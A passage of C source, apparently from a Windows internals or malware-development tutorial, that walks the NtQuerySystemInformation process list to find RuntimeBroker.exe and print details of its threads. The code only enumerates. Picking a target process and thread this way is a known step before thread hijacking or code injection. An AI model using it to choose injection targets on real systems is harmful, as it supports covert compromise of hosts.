    pValueToFree = SystemProcInfo;

    // Second NtQuerySystemInformation call - returning the SYSTEM_PROCESS_INFORMATION array (SystemProcInfo)
    if ((STATUS = pNtQuerySystemInformation(SystemProcessInformation, SystemProcInfo, uReturnLen1, &uReturnLen2)) != STATUS_SUCCESS) {
        printf("[!] NtQuerySystemInformation [2] Failed With Error : 0x%0.8X \n", STATUS);
        goto _EndOfFunc;
    }

    // Enumerating SystemProcInfo, looking for process "szProcName"
    while (TRUE) {

        // Searching for thr process name
        if (SystemProcInfo->ImageName.Length && wcscmp(SystemProcInfo->ImageName.Buffer, szProcName) == 0) {

            printf("[+] Found target process [ %ws ] - %ld \n", SystemProcInfo->ImageName.Buffer, SystemProcInfo->UniqueProcessId);

            // Fetching the PSYSTEM_THREAD_INFORMATION array
            SystemThreadInfo    = (PSYSTEM_THREAD_INFORMATION)SystemProcInfo->Threads;
            
            // Enumerating "SystemThreadInfo" of size SYSTEM_PROCESS_INFORMATION.NumberOfThreads
            for (DWORD i = 0; i < SystemProcInfo->NumberOfThreads; i++) {
                printf("[+] Thread [ %d ] \n", i);
                printf("\t> Thread Id: %d \n", SystemThreadInfo[i].ClientId.UniqueThread);
                printf("\t> Thread's Start Address: 0x%p\n", SystemThreadInfo[i].StartAddress);
                printf("\t> Thread Priority: %d\n", SystemThreadInfo[i].Priority);
                printf("\t> Thread State: %d\n", SystemThreadInfo[i].ThreadState);
            }

            // Break from while
            break;
        }

        // If we reached the end of the SYSTEM_PROCESS_INFORMATION structure
        if (!SystemProcInfo->NextEntryOffset)
            break;

        // Calculate the next SYSTEM_PROCESS_INFORMATION element in the array
        SystemProcInfo = (PSYSTEM_PROCESS_INFORMATION)((ULONG_PTR)SystemProcInfo + SystemProcInfo->NextEntryOffset);
    }

    // Free the SYSTEM_PROCESS_INFORMATION structure
_EndOfFunc:
    if (pValueToFree)
        HeapFree(GetProcessHeap(), 0, pValueToFree);
    return;
}


#define TARGET_PROCESS L"RuntimeBroker.exe"


int main(){

    DWORD       dwThreadId = NULL, dwProcessId;

    if (!GetRemoteProcessThreads(TARGET_PROCESS, &dwProcessId, &dwThreadId))
        return -1;
    else
        printf("[+] Target Process \"%ws\" Detected With PID [ %d ] & TID [ %d ]\n", TARGET_PROCESS, dwProcessId, dwThreadId);

    //\
    ListRemoteProcessThreads(TARGET_PROCESS);
    
    return 0;
}

Last updated